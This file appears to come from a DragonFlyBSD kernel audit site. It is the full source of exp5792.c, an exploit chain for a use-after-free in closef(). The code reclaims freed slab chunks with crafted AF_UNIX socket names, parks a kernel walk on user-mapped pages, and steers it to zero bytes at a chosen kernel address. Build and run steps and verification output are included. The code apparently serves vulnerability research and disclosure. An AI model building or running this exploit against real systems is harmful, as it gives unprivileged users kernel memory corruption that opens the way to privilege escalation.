⬢ DragonFlyBSD Kernel Audit
DF-5792 / exp5792.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
/*
 * DF-5792 exploit chain v2 — marker-reclaim of the verified closef()
 * fdtol-walk UAF, turned into a steerable kernel write machine.
 * (uid 1001, stock DragonFly 6.5-DEVELOPMENT)
 *
 * The verified bug: closef() walks the filedesc_to_leader chain under
 * only p->p_token (kern_descrip.c:3071-3088) while fdfree() unlinks and
 * kfrees entries under fdp->fd_spin (kern_descrip.c:2675-2688).  A
 * walker traverses a STALE snapshot of the chain; entries freed during
 * the walk are chased through freed memory (the original rig's fatal
 * traps came from fork's M_ZERO recycle hitting the walk).
 *
 * This version replaces the fork-recycle with MARKER sonames: binder
 * spinners continuously bind 40-byte AF_UNIX sockaddrs (the exact 40B
 * slab zone of struct filedesc_to_leader) containing crafted fdtol
 * fields:  fdl_leader = FLAG1 user page (byte +0x58 = 1 -> ACT branch),
 * fdl_next = SPIN user page (self-loop -> the walk parks in close()).
 *
 * Win condition: a walker chases into a freed entry that a marker
 * reclaimed: gate passes (flag byte != 0) ->
 *     addl $1,(chunk+4); VOP_ADVLOCK(vp, FLAG1, F_UNLCK); subl $1,(chunk+4);
 *     wakeup-check;  fdtol = *(chunk+0x20) = SPIN  -> park.
 * Detected by the walker's progress counter stalling.
 *
 * Then we steer: SPIN->next = victim soname V (2-char path so +4 == 0;
 * +8 = 0x41414141; leader = FLAG1; next = SPIN2).  The parked walk
 * visits V, the kernel executes
 *     if (*(int*)(V+4)==0 && *(int*)(V+8)!=0) *(int*)(V+8) = 0; wakeup(V);
 * and chases to SPIN2 (re-park).  pcblist exports the soname bytes
 * (bcopy verbatim, DF-5816) => readback proves the kernel write.
 *
 * build: cc -O2 -o exp5792 exp5792.c
 * run:   ./exp5792 [seconds]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <sys/resource.h>
#include <time.h>
#include <sys/wait.h>
#include <dirent.h>

#define RFPROC     (1<<4)
#define RFMEM      (1<<5)
#define RFNOWAIT   (1<<6)
#define RFSIGSHARE (1<<14)

/* user pages, kernel-reachable (no SMAP on this guest) */
#define FLAG0_PAGE 0x31000000UL   /* byte[0x58] = 0 -> continue (no act) */
#define FLAG1_PAGE 0x31001000UL   /* byte[0x58] = 1 -> ACT branch        */
#define SPIN_PAGE  0x31002000UL   /* +0x10=FLAG0, +0x20=self  (park)     */
#define SPIN2_PAGE 0x31003000UL   /* re-park after the write             */

#define NSTACKS    16384
#define STACKSIZE  (64*1024)
#define NWALKER    1
#define NBINDER    6
#define NFILLER    60
#define MAXVICTIM  40

/* pcblist record layout (struct xunpcb = 912, DF-5816-verified) */
#define REC        912
#define XU_ADDRPTR 64
#define XU_SONAME  224
#define XU_PATH    (XU_SONAME + 2)

static char *stacks;
static volatile int stop_all = 0;
static volatile long bind_count = 0;
static volatile long fork_count = 0;
static volatile long walk_count[NWALKER];
static volatile int parked_walker = -1;
static const char *lockpath = "/tmp/df5792v2.lock";
static char workdir[64];
static volatile unsigned long victim_addr_global;

extern pid_t rfork_thread(int, void *, int (*)(void *), void *);

static int count_fds(void)
{
	int fd, n = 0;
	for (fd = 0; fd < 2048; fd++)
		if (fcntl(fd, F_GETFL) >= 0)
			n++;
	return n;
}

static double now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

static void *stack_top(int i)
{
	return stacks + (size_t)i * STACKSIZE + STACKSIZE - 16;
}

static int next_stack_ix = 1024;
static void *next_stack(void)
{
	int ix = __sync_fetch_and_add(&next_stack_ix, 1);
	return stack_top(ix % NSTACKS);
}

/* ---------------- pcblist ------------------------------------------- */

static unsigned char *pcb_buf;
static size_t pcb_len;

static int pcb_snap(void)
{
	size_t len = 0;
	free(pcb_buf); pcb_buf = NULL; pcb_len = 0;
	if (sysctlbyname("net.local.dgram.pcblist", NULL, &len, NULL, 0) < 0)
		return -1;
	if (len == 0) return 0;
	pcb_buf = malloc(len);
	if (!pcb_buf) return -1;
	if (sysctlbyname("net.local.dgram.pcblist", pcb_buf, &len, NULL, 0) < 0) {
		free(pcb_buf); pcb_buf = NULL; return -1;
	}
	pcb_len = len;
	return 0;
}

static unsigned long pcb_get(unsigned long off)
{
	unsigned long v;
	if (off + 8 > pcb_len) return 0;
	memcpy(&v, pcb_buf + off, 8);
	return v;
}

static unsigned long pcb_find_rec(const char *prefix)
{
	size_t i, n = pcb_len / REC, plen = strlen(prefix);
	for (i = 0; i < n; i++) {
		unsigned long base = i * REC;
		if (base + XU_PATH + plen > pcb_len) break;
		if (strncmp((const char *)pcb_buf + base + XU_PATH, prefix,
			    plen) == 0)
			return base;
	}
	return (unsigned long)-1;
}

static unsigned long pcb_addr_of(const char *prefix)
{
	unsigned long base = pcb_find_rec(prefix);
	if (base == (unsigned long)-1) return 0;
	return pcb_get(base + XU_ADDRPTR);
}

static int pcb_soname_byte(unsigned long base, int off)
{
	if (base == (unsigned long)-1 || base + XU_SONAME + off + 1 > pcb_len)
		return -1;
	return pcb_buf[base + XU_SONAME + off];
}

/* ---------------- soname helpers ------------------------------------- */

static int bind40(const char *path, unsigned long leader,
		  unsigned long next, unsigned long wake)
{
	struct sockaddr_un sun;
	int s, plen = (int)strlen(path);
	unsigned char *b;

	memset(&sun, 0, sizeof(sun));
	sun.sun_len = 40;
	sun.sun_family = AF_UNIX;
	memcpy(sun.sun_path, path, (size_t)plen + 1);
	b = (unsigned char *)&sun;
	memcpy(b + 8, &wake, 4);
	memcpy(b + 16, &leader, 8);
	memcpy(b + 32, &next, 8);
	s = socket(AF_UNIX, SOCK_DGRAM, 0);
	if (s < 0) return -1;
	if (bind(s, (struct sockaddr *)&sun, 40) < 0) {
		close(s);
		return -1;
	}
	bind_count++;
	return s;
}

static void unbind40(int fd, const char *path)
{
	close(fd);
	unlink(path);
}

/* ---------------- family threads ------------------------------------- */

static int baby_main(void *arg)
{
	(void)arg;
	return 0;    /* RFMEM (non-RFTHREAD) member: exit unlinks+kfrees */
}

static int walker_main(void *arg)
{
	int wi = (int)(intptr_t)arg;
	int fd;

	/* take+drop a read lock: sets our leader's p_advlock_flag only
	 * while held; VMAYHAVELOCKS on the vnode is sticky either way */
	while (!stop_all) {
		fd = open(lockpath, O_RDONLY);
		if (fd >= 0)
			close(fd);   /* closef(): walks the fdtol chain */
		walk_count[wi]++;
	}
	return 0;
}

static volatile int filler_exit[NFILLER];
static volatile int burst_gen = 0;

static int filler_main(void *arg)
{
	int fi = (int)(intptr_t)arg;
	int fd;
	struct flock fl;

	/* one read lock: p_advlock_flag is sticky for life, so every
	 * walker visiting our fdtol entry pays a full VOP_ADVLOCK
	 * (scan of the armed range list) -> walks are slow -> the
	 * in-walk UAF window is wide. */
	fd = open(lockpath, O_RDONLY);
	if (fd >= 0) {
		memset(&fl, 0, sizeof(fl));
		fl.l_type = F_RDLCK; fl.l_whence = SEEK_SET;
		fl.l_start = (off_t)(1000 + fi); fl.l_len = 1;
		fcntl(fd, F_SETLK, &fl);
		close(fd);
	}
	while (!stop_all)
		usleep(100000);
	return 0;
}

static int binder_main(void *arg)
{
	int bi = (int)(intptr_t)arg;
	char path[16];
	int held[160], nheld = 0, j;
	int id = bi * 10000;
	char heldpath[160][16];
	long fails = 0;

	{
		char dbuf[16];
		snprintf(dbuf, sizeof(dbuf), "d%d", bi);
		mkdir(dbuf, 0777);
		if (chdir(dbuf) < 0)
			return 0;
	}
	while (!stop_all) {
		int s, mygen = burst_gen;
		/* idle phase: light churn keeps markers flowing */
		snprintf(path, sizeof(path), "m%04x", (id++) & 0xffff);
		s = bind40(path, FLAG1_PAGE, SPIN_PAGE, 0);
		if (s >= 0) {
			if (nheld >= 96) {
				for (j = 0; j < nheld; j++)
					unbind40(held[j], heldpath[j]);
				nheld = 0;
			}
			held[nheld] = s;
			strlcpy(heldpath[nheld], path, sizeof(path));
			nheld++;
		} else {
			fails++;
			usleep(200);
		}
		/* burst phase: pure alloc-hold drains the local freelist,
		 * pulling remotely-freed chunks (z_RChunks) into LChunks
		 * so the just-freed fdtol chunk gets reclaimed as a
		 * marker soname. */
		while (burst_gen != mygen && !stop_all) {
			while (nheld < 150) {
				snprintf(path, sizeof(path),
					 "m%04x", (id++) & 0xffff);
				s = bind40(path, FLAG1_PAGE, SPIN_PAGE, 0);
				if (s < 0)
					break;
				held[nheld] = s;
				strlcpy(heldpath[nheld], path,
					sizeof(path));
				nheld++;
			}
			for (j = 0; j < nheld; j++)
				unbind40(held[j], heldpath[j]);
			nheld = 0;
			mygen = burst_gen;
		}
	}
	for (j = 0; j < nheld; j++)
		unbind40(held[j], heldpath[j]);
	return 0;
}

static int helper_main(void *arg)
{
	int n = (int)(intptr_t)arg;
	int fd, i;
	struct flock fl;

	fd = open(lockpath, O_RDONLY);
	if (fd < 0) return 0;
	for (i = 0; i < n; i++) {
		memset(&fl, 0, sizeof(fl));
		fl.l_type = F_RDLCK; fl.l_whence = SEEK_SET;
		fl.l_start = (off_t)(100000 + n * 4096 + i);
		fl.l_len = 1;
		if (fcntl(fd, F_SETLK, &fl) < 0)
			break;
	}
	while (!stop_all)
		pause();
	return 0;
}

static int churner_main(void *arg)
{
	(void)arg;
	while (!stop_all) {
		if (rfork_thread(RFPROC | RFMEM | RFNOWAIT,
				 next_stack(), baby_main, NULL) >= 0)
			fork_count++;
	}
	return 0;
}

/* ---------------- main ------------------------------------------------ */

int main(int argc, char **argv)
{
	double runlen = 90.0, t0, last;
	struct flock fl;
	struct rlimit rl;
	int lockfd, i, fd;
	unsigned long c0[NWALKER];

	if (argc > 1) runlen = atof(argv[1]);

	rl.rlim_cur = 1024; rl.rlim_max = 1024;
	setrlimit(RLIMIT_NOFILE, &rl);
	snprintf(workdir, sizeof(workdir), "/tmp/df5792v2.d.%d", getpid());
	mkdir(workdir, 0777);
	if (chdir(workdir) < 0) { perror("chdir"); return 1; }

	stacks = mmap(NULL, (size_t)NSTACKS * STACKSIZE,
		      PROT_READ | PROT_WRITE,
		      MAP_PRIVATE | MAP_ANON, -1, 0);
	if (stacks == MAP_FAILED) { perror("mmap stacks"); return 1; }
	{
		void *p;
		p = mmap((void *)FLAG0_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap flag0"); return 1; }
		p = mmap((void *)FLAG1_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap flag1"); return 1; }
		p = mmap((void *)SPIN_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap spin"); return 1; }
		p = mmap((void *)SPIN2_PAGE, 4096, PROT_READ | PROT_WRITE,
			 MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) { perror("mmap spin2"); return 1; }
		memset((void *)FLAG0_PAGE, 0, 4096);
		memset((void *)FLAG1_PAGE, 0, 4096);
		((unsigned char *)FLAG1_PAGE)[0x58] = 1;   /* ACT gate */
		*(unsigned long *)(SPIN_PAGE + 0x10) = FLAG0_PAGE;
		*(volatile unsigned long *)(SPIN_PAGE + 0x20) = SPIN_PAGE;
		*(unsigned long *)(SPIN2_PAGE + 0x10) = FLAG0_PAGE;
		*(volatile unsigned long *)(SPIN2_PAGE + 0x20) = SPIN2_PAGE;
	}

	lockfd = open(lockpath, O_RDWR | O_CREAT, 0666);
	if (lockfd < 0) { perror("open lockfile"); return 1; }
	write(lockfd, "x", 1);
	memset(&fl, 0, sizeof(fl));
	fl.l_type = F_WRLCK; fl.l_whence = SEEK_SET;
	if (fcntl(lockfd, F_SETLK, &fl) < 0) perror("F_SETLK (nonfatal)");
	fl.l_type = F_UNLCK;
	fcntl(lockfd, F_SETLK, &fl);     /* VMAYHAVELOCKS stays set */

	/* victims: 2-char paths => bytes 4..7 == 0 (holdcount gate);
	 * +8 = 0x41414141 (the dword the kernel will zero);
	 * leader = FLAG1 (ACT); next = SPIN2 (re-park after the write) */
	{
		const char *cs =
		    "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMN";
		int vfds[MAXVICTIM], nv = 0;
		char vpaths[MAXVICTIM][8];
		for (i = 0; cs[i] && nv < MAXVICTIM; i++) {
			char p[4];
			snprintf(p, sizeof(p), "v%c", cs[i]);
			fd = bind40(p, FLAG1_PAGE, SPIN2_PAGE, 0x41414141UL);
			if (fd < 0) break;
			vfds[nv] = fd;
			strlcpy(vpaths[nv], p, sizeof(vpaths[0]));
			nv++;
		}
		fprintf(stderr, "victims bound: %d\n", nv);
		(void)vfds; (void)vpaths;
	}

	/* binders first: they must own the 40B recycle stream */
	for (i = 0; i < NBINDER; i++)
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(32 + i), binder_main,
				 (void *)(intptr_t)i) < 0)
			perror("rfork binder (nonfatal)");
	usleep(100000);

	/* walkers */
	for (i = 0; i < NWALKER; i++)
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(64 + i), walker_main,
				 (void *)(intptr_t)i) < 0)
			perror("rfork walker (nonfatal)");
	usleep(100000);

	/* persistent flagged fillers: deepen the chain */
	for (i = 0; i < NFILLER; i++) {
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(128 + i), filler_main,
				 (void *)(intptr_t)i) < 0)
			break;
		usleep(2000);
	}
	fprintf(stderr, "persistent fillers: %d\n", i);

	/* non-family helpers: 3 x 500 permanent read ranges */
	for (i = 0; i < 3; i++) {
		pid_t hp = fork();
		if (hp == 0)
			_exit(helper_main(200));
	}
	usleep(400000);

	/* churners: paced baby fork+exit (the frees, µs-lived -> local) */
	for (i = 0; i < 2; i++) {
		if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE,
				 stack_top(600 + i), churner_main,
				 (void *)(intptr_t)i) < 0)
			perror("rfork churner (nonfatal)");
	}

	fprintf(stderr, "setup: binders x%d, walkers x%d, fillers, "
		"helpers, churners...\n", NBINDER, NWALKER);
	t0 = last = now();
	for (i = 0; i < NWALKER; i++) {
		walk_count[i] = 0;
		c0[i] = 0;
	}
	{
		int vi = 0, verified = 0, stalled_once = 0;
		double lchange[NWALKER], lstat = now();
		for (i = 0; i < NWALKER; i++)
			lchange[i] = now();
		while (now() - t0 < runlen && !verified) {
			int w, any_stalled = 0;
			usleep(25000);
			while (waitpid(-1, NULL, WNOHANG) > 0)
				;
			for (w = 0; w < NWALKER; w++) {
				if (walk_count[w] != c0[w])
					lchange[w] = now();
				c0[w] = walk_count[w];
				if (now() - lchange[w] > 0.5 &&
				    walk_count[w] > 100)
					any_stalled = 1;
			}
			if (now() - lstat >= 5.0) {
				lstat = now();
				fprintf(stderr, "t=%5.1f binds=%ld forks=%ld "
					"openfds=%d walks:",
					now() - t0, bind_count, fork_count,
					count_fds());
				for (w = 0; w < NWALKER; w++)
					fprintf(stderr, " %ld", walk_count[w]);
				fprintf(stderr, "\n");
			}
			if (any_stalled) {
				char pfx[4];
				unsigned long vrec, va;
				int k, zeroed;

				if (!stalled_once) {
					stalled_once = 1;
					fprintf(stderr, "*** walker stall "
						"detected; steer-verify ***\n");
				}
				if (vi >= 40)
					continue;
				snprintf(pfx, sizeof(pfx), "v%c",
					 "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMN"[vi]);
				vi++;
				if (pcb_snap() < 0)
					continue;
				vrec = pcb_find_rec(pfx);
				va = pcb_get(vrec + XU_ADDRPTR);
				if (!va)
					continue;
				*(volatile unsigned long *)
				    (SPIN_PAGE + 0x20) = va;
				*(volatile unsigned long *)
				    (SPIN2_PAGE + 0x20) = va;
				usleep(300000);
				if (pcb_snap() < 0)
					continue;
				vrec = pcb_find_rec(pfx);
				zeroed = 1;
				for (k = 8; k < 12; k++)
					if (pcb_soname_byte(vrec, k) != 0)
						zeroed = 0;
				fprintf(stderr,
					"[verify %d] victim 0x%lx +8..+11 = "
					"%02x%02x%02x%02x %s\n", vi - 1, va,
					pcb_soname_byte(vrec, 11),
					pcb_soname_byte(vrec, 10),
					pcb_soname_byte(vrec, 9),
					pcb_soname_byte(vrec, 8),
					zeroed ? "*** KERNEL WRITE VERIFIED ***"
					       : "(no)");
				if (zeroed)
					verified = 1;
			}
		}
		if (verified) {
			char pfx[4];
			unsigned long vrec, va;
			int k, zeroed = 1;

			fprintf(stderr, "*** SUCCESS: parked closef() walk "
				"steered to victim; kernel zeroed 4 bytes "
				"at a chosen kernel address ***\n");
			/* stop the storm; the parked walker remains under
			 * our control (user-page steering) */
			stop_all = 1;
			usleep(800000);
			/* second, race-free steer from SPIN2 to victim b */
			if (pcb_snap() == 0) {
				vrec = pcb_find_rec("vb");
				va = pcb_get(vrec + XU_ADDRPTR);
				if (va) {
					fprintf(stderr, "[sess2] steering "
						"SPIN2 -> victim b 0x%lx; "
						"pre +8..+11 = %02x%02x%02x"
						"%02x\n", va,
						pcb_soname_byte(vrec, 11),
						pcb_soname_byte(vrec, 10),
						pcb_soname_byte(vrec, 9),
						pcb_soname_byte(vrec, 8));
					*(volatile unsigned long *)
					    (SPIN2_PAGE + 0x20) = va;
					usleep(500000);
					if (pcb_snap() == 0) {
						vrec = pcb_find_rec("vb");
						for (k = 8; k < 12; k++)
							if (pcb_soname_byte(vrec, k) != 0)
								zeroed = 0;
						fprintf(stderr, "[sess2] post "
							"+8..+11 = %02x%02x"
							"%02x%02x %s\n",
							pcb_soname_byte(vrec, 11),
							pcb_soname_byte(vrec, 10),
							pcb_soname_byte(vrec, 9),
							pcb_soname_byte(vrec, 8),
							zeroed ? "*** SECOND "
							"KERNEL WRITE VERIFIED "
							"(race-free steer) ***"
							: "(no)");
					}
				}
			}
			fprintf(stderr, "uid=%d euid=%d; system alive; "
				"one walker parked in kernel spin at our "
				"user page\n", getuid(), geteuid());
		}
	}

	stop_all = 1;
	usleep(300000);
	fprintf(stderr, "done (parked walker remains in kernel spin; "
		"system otherwise alive)\n");
	return 0;
}